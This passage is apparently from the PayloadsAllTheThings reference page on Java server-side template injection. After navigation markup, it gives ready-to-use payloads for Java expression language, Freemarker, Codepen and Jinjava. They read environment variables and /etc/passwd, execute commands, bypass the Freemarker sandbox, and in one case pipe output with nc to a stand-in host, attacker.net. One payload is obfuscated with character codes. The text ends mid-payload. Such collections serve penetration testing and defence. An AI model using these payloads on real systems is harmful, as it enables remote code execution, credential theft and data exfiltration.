<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
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Twitter
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<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Java.md" title="Edit this page" class="md-content__button md-icon">
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<h1 id="server-side-template-injection-java">Server Side Template Injection - Java</h1>
<blockquote>
<p>Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#templating-libraries">Templating Libraries</a></li>
<li><a href="#java">Java</a><ul>
<li><a href="#java---basic-injection">Java - Basic Injection</a></li>
<li><a href="#java---retrieve-environment-variables">Java - Retrieve Environment Variables</a></li>
<li><a href="#java---retrieve-etcpasswd">Java - Retrieve /etc/passwd</a></li>
</ul>
</li>
<li><a href="#freemarker">Freemarker</a><ul>
<li><a href="#freemarker---basic-injection">Freemarker - Basic Injection</a></li>
<li><a href="#freemarker---read-file">Freemarker - Read File</a></li>
<li><a href="#freemarker---code-execution">Freemarker - Code Execution</a></li>
<li><a href="#freemarker---sandbox-bypass">Freemarker - Sandbox Bypass</a></li>
</ul>
</li>
<li><a href="#codepen">Codepen</a></li>
<li><a href="#jinjava">Jinjava</a><ul>
<li><a href="#jinjava---basic-injection">Jinjava - Basic Injection</a></li>
<li><a href="#jinjava---command-execution">Jinjava - Command Execution</a></li>
</ul>
</li>
<li><a href="#pebble">Pebble</a><ul>
<li><a href="#pebble---basic-injection">Pebble - Basic Injection</a></li>
<li><a href="#pebble---code-execution">Pebble - Code Execution</a></li>
</ul>
</li>
<li><a href="#velocity">Velocity</a></li>
<li><a href="#groovy">Groovy</a><ul>
<li><a href="#groovy---basic-injection">Groovy - Basic Injection</a></li>
<li><a href="#groovy---read-file">Groovy - Read File</a></li>
<li><a href="#groovy---http-request">Groovy - HTTP Request:</a></li>
<li><a href="#groovy---command-execution">Groovy - Command Execution</a></li>
<li><a href="#groovy---sandbox-bypass">Groovy - Sandbox Bypass</a></li>
</ul>
</li>
<li><a href="#spring-expression-language">Spring Expression Language</a><ul>
<li><a href="#spel---basic-injection">SpEL - Basic Injection</a></li>
<li><a href="#spel---dns-exfiltration">SpEL - DNS Exfiltration</a></li>
<li><a href="#spel---session-attributes">SpEL - Session Attributes</a></li>
<li><a href="#spel---command-execution">SpEL - Command Execution</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="templating-libraries">Templating Libraries</h2>
<table>
<thead>
<tr>
<th>Template Name</th>
<th>Payload Format</th>
</tr>
</thead>
<tbody>
<tr>
<td>Codepen</td>
<td><code>#{}</code></td>
</tr>
<tr>
<td>Freemarker</td>
<td><code>${3*3}</code>, <code>#{3*3}</code>, <code>[=3*3]</code></td>
</tr>
<tr>
<td>Groovy</td>
<td><code>${9*9}</code></td>
</tr>
<tr>
<td>Jinjava</td>
<td><code>{{ }}</code></td>
</tr>
<tr>
<td>Pebble</td>
<td><code>{{ }}</code></td>
</tr>
<tr>
<td>Spring</td>
<td><code>*{7*7}</code></td>
</tr>
<tr>
<td>Thymeleaf</td>
<td><code>[[ ]]</code></td>
</tr>
<tr>
<td>Velocity</td>
<td><code>#set($X="") $X</code></td>
</tr>
</tbody>
</table>
<h2 id="java">Java</h2>
<h3 id="java-basic-injection">Java - Basic Injection</h3>
<blockquote>
<p>Multiple variable expressions can be used, if <code>${...}</code> doesn't work try <code>#{...}</code>, <code>*{...}</code>, <code>@{...}</code> or <code>~{...}</code>.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">$</span><span class="p">{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">$</span><span class="p">{{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}}</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getClassLoader</span><span class="p">()}</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getResource</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">).</span><span class="na">getPath</span><span class="p">()}</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="n">$</span><span class="p">{</span><span class="kd">class</span><span class="err">.</span><span class="nc">getResource</span><span class="p">(</span><span class="s">&quot;../../../../../index.htm&quot;</span><span class="p">).</span><span class="na">getContent</span><span class="p">()}</span>
</code></pre></div>
<h3 id="java-retrieve-environment-variables">Java - Retrieve Environment Variables</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">System</span><span class="p">).</span><span class="na">getenv</span><span class="p">()}</span>
</code></pre></div>
<h3 id="java-retrieve-etcpasswd">Java - Retrieve /etc/passwd</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="err">&#39;</span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="err">&#39;</span><span class="p">)}</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">org</span><span class="p">.</span><span class="na">apache</span><span class="p">.</span><span class="na">commons</span><span class="p">.</span><span class="na">io</span><span class="p">.</span><span class="na">IOUtils</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">99</span><span class="p">).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">97</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">116</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">32</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">47</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">101</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">116</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">99</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">47</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">112</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">97</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">115</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">115</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">119</span><span class="p">)).</span><span class="na">concat</span><span class="p">(</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Character</span><span class="p">).</span><span class="na">toString</span><span class="p">(</span><span class="mi">100</span><span class="p">))).</span><span class="na">getInputStream</span><span class="p">())}</span>
</code></pre></div>
<hr />
<h2 id="freemarker">Freemarker</h2>
<p><a href="https://freemarker.apache.org/">Official website</a></p>
<blockquote>
<p>Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data. </p>
</blockquote>
<p>You can try your payloads at <a href="https://try.freemarker.apache.org">https://try.freemarker.apache.org</a></p>
<h3 id="freemarker-basic-injection">Freemarker - Basic Injection</h3>
<p>The template can be :</p>
<ul>
<li>Default: <code>${3*3}</code> </li>
<li>Legacy: <code>#{3*3}</code></li>
<li>Alternative: <code>[=3*3]</code> since <a href="https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html">FreeMarker 2.3.4</a></li>
</ul>
<h3 id="freemarker-read-file">Freemarker - Read File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nx">$</span><span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">getClass</span><span class="p">().</span><span class="nx">getProtectionDomain</span><span class="p">().</span><span class="nx">getCodeSource</span><span class="p">().</span><span class="nx">getLocation</span><span class="p">().</span><span class="nx">toURI</span><span class="p">().</span><span class="nx">resolve</span><span class="p">(</span><span class="s1">&#39;path_to_the_file&#39;</span><span class="p">).</span><span class="nx">toURL</span><span class="p">().</span><span class="nx">openStream</span><span class="p">().</span><span class="nx">readAllBytes</span><span class="p">()</span><span class="o">?</span><span class="nx">join</span><span class="p">(</span><span class="s2">&quot; &quot;</span><span class="p">)}</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="nx">Convert</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">returned</span><span class="w"> </span><span class="nx">bytes</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">ASCII</span>
</code></pre></div>
<h3 id="freemarker-code-execution">Freemarker - Code Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="o">&lt;</span><span class="n">#assign</span><span class="w"> </span><span class="nx">ex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()</span><span class="o">&gt;</span><span class="nx">$</span><span class="p">{</span><span class="w"> </span><span class="nx">ex</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p">[</span><span class="n">#assign</span><span class="w"> </span><span class="nx">ex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;freemarker.template.utility.Execute&#39;</span><span class="o">?</span><span class="ow">new</span><span class="p">()]</span><span class="nx">$</span><span class="p">{</span><span class="w"> </span><span class="nx">ex</span><span class="p">(</span><span class="s1">&#39;id&#39;</span><span class="p">)}</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="nx">$</span><span class="p">{</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="err">#</span><span class="p">{</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="p">[</span><span class="o">=</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="o">?</span><span class="ow">new</span><span class="p">()(</span><span class="s2">&quot;id&quot;</span><span class="p">)]</span>
</code></pre></div>
<h3 id="freemarker-sandbox-bypass">Freemarker - Sandbox Bypass</h3>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> only works on Freemarker versions below 2.3.30</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="o">&lt;</span><span class="n">#assign</span><span class="w"> </span><span class="nx">classloader</span><span class="o">=</span><span class="nx">article</span><span class="p">.</span><span class="kd">class</span><span class="p">.</span><span class="nx">protectionDomain</span><span class="p">.</span><span class="nx">classLoader</span><span class="o">&gt;</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="o">&lt;</span><span class="n">#assign</span><span class="w"> </span><span class="nx">owc</span><span class="o">=</span><span class="nx">classloader</span><span class="p">.</span><span class="nx">loadClass</span><span class="p">(</span><span class="s2">&quot;freemarker.template.ObjectWrapper&quot;</span><span class="p">)</span><span class="o">&gt;</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="o">&lt;</span><span class="n">#assign</span><span class="w"> </span><span class="nx">dwf</span><span class="o">=</span><span class="nx">owc</span><span class="p">.</span><span class="nx">getField</span><span class="p">(</span><span class="s2">&quot;DEFAULT_WRAPPER&quot;</span><span class="p">).</span><span class="nx">get</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span><span class="o">&gt;</span>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="o">&lt;</span><span class="n">#assign</span><span class="w"> </span><span class="nx">ec</span><span class="o">=</span><span class="nx">classloader</span><span class="p">.</span><span class="nx">loadClass</span><span class="p">(</span><span class="s2">&quot;freemarker.template.utility.Execute&quot;</span><span class="p">)</span><span class="o">&gt;</span>
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a><span class="nx">$</span><span class="p">{</span><span class="nx">dwf</span><span class="p">.</span><span class="nx">newInstance</span><span class="p">(</span><span class="nx">ec</span><span class="p">,</span><span class="kc">null</span><span class="p">)(</span><span class="s2">&quot;id&quot;</span><span class="p">)}</span>
</code></pre></div>
<hr />
<h2 id="codepen">Codepen</h2>
<p><a href="https://codepen.io/">Official website</a></p>
<blockquote></blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="o">-</span> <span class="n">var</span> <span class="n">x</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">process</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="o">-</span> <span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">mainModule</span><span class="o">.</span><span class="n">require</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="o">-</span> <span class="n">x</span> <span class="o">=</span> <span class="n">x</span><span class="p">(</span><span class="s1">&#39;child_process&#39;</span><span class="p">)</span>
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="o">=</span> <span class="n">x</span><span class="o">.</span><span class="n">exec</span><span class="p">(</span><span class="s1">&#39;id | nc attacker.net 80&#39;</span><span class="p">)</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="err">#</span><span class="p">{</span><span class="nx">root</span><span class="p">.</span><span class="nx">process</span><span class="p">.</span><span class="nx">mainModule</span><span class="p">.</span><span class="nx">require</span><span class="p">(</span><span class="s1">&#39;child_process&#39;</span><span class="p">).</span><span class="nx">spawnSync</span><span class="p">(</span><span class="s1">&#39;cat&#39;</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="s1">&#39;/etc/passwd&#39;</span><span class="p">]).</span><span class="nx">stdout</span><span class="p">}</span>
</code></pre></div>
<hr />
<h2 id="jinjava">Jinjava</h2>
<p><a href="https://github.com/HubSpot/jinjava">Official website</a></p>
<blockquote>
<p>Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).</p>
</blockquote>
<h3 id="jinjava-basic-injection">Jinjava - Basic Injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()}}</span> <span class="n">would</span> <span class="n">result</span> <span class="ow">in</span> <span class="s1">&#39;A&#39;</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="p">{{</span> <span class="n">request</span> <span class="p">}}</span> <span class="n">would</span> <span class="k">return</span> <span class="n">a</span> <span class="n">request</span> <span class="nb">object</span> <span class="n">like</span> <span class="n">com</span><span class="o">.</span><span class="p">[</span><span class="o">...</span><span class="p">]</span><span class="o">.</span><span class="n">context</span><span class="o">.</span><span class="n">TemplateContextRequest</span><span class="o">@</span><span class="mi">23548206</span>
</code></pre></div>
<p>Jinjava is an open source project developed by Hubspot, available at <a href="https://github.com/HubSpot/jinjava/">https://github.com/HubSpot/jinjava/</a></p>
<h3 id="jinjava-command-execution">Jinjava - Command Execution</h3>
<p>Fixed by <a href="https://github.com/HubSpot/jinjava/pull/230">HubSpot/jinjava PR #230</a></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">&quot;new java.lang.String(&#39;xxx&#39;)\&quot;</span><span class="p">)}}</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a>
